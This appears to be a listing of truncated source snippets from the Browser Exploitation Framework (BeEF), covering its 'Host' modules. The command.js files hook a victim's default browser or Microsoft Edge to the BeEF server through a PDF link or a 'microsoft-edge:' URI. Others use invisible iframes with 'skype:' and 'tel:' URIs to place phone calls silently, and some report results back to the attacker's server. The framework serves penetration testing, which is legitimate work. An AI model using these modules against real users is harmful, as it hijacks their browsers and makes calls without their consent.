// // Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var pdf_url = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/report.pdf'; window.ope...
YAML
beef/modules/host/hook_default_browser/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: hook_default_browser: enable: true category: "Host" name: "Hook Default Browse...
Ruby
beef/modules/host/hook_default_browser/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Hook_default_browser < BeEF::Core::Command def self.options configuration = BeEF::Core::Configuration.instance proto = conf...
JavaScript
beef/modules/host/hook_microsoft_edge/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var edge_url = "<%== @url %>"; window.location = 'microsoft-edge:' + edge_url; beef.debug("Attempted to ...
YAML
beef/modules/host/hook_microsoft_edge/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: hook_microsoft_edge: enable: true category: "Host" name: "Hook Microsoft Edge"...
Ruby
beef/modules/host/hook_microsoft_edge/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Hook_microsoft_edge < BeEF::Core::Command def self.options configuration = BeEF::Core::Configuration.instance hook_uri = "#...
JavaScript
beef/modules/host/insecure_url_skype/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var sploit = beef.dom.createInvisibleIframe(); sploit.src = 'skype:<%= @tel_num %>?call'; beef.net.sen...
YAML
beef/modules/host/insecure_url_skype/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: insecure_url_skype: enable: false category: "Host" name: "Make Skype Call (Sky...
Ruby
beef/modules/host/insecure_url_skype/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Insecure_url_skype < BeEF::Core::Command def self.options [{ 'name' => 'tel_num', 'description' => 'The telephone nu...
JavaScript
beef/modules/host/iphone_tel/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var sploit = beef.dom.createInvisibleIframe(); sploit.src = 'tel:<%= @tel_num %>'; beef.net.send("<%=...
YAML
beef/modules/host/iphone_tel/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: iphone_tel: enable: true category: "Host" name: "Make Telephone Call" ...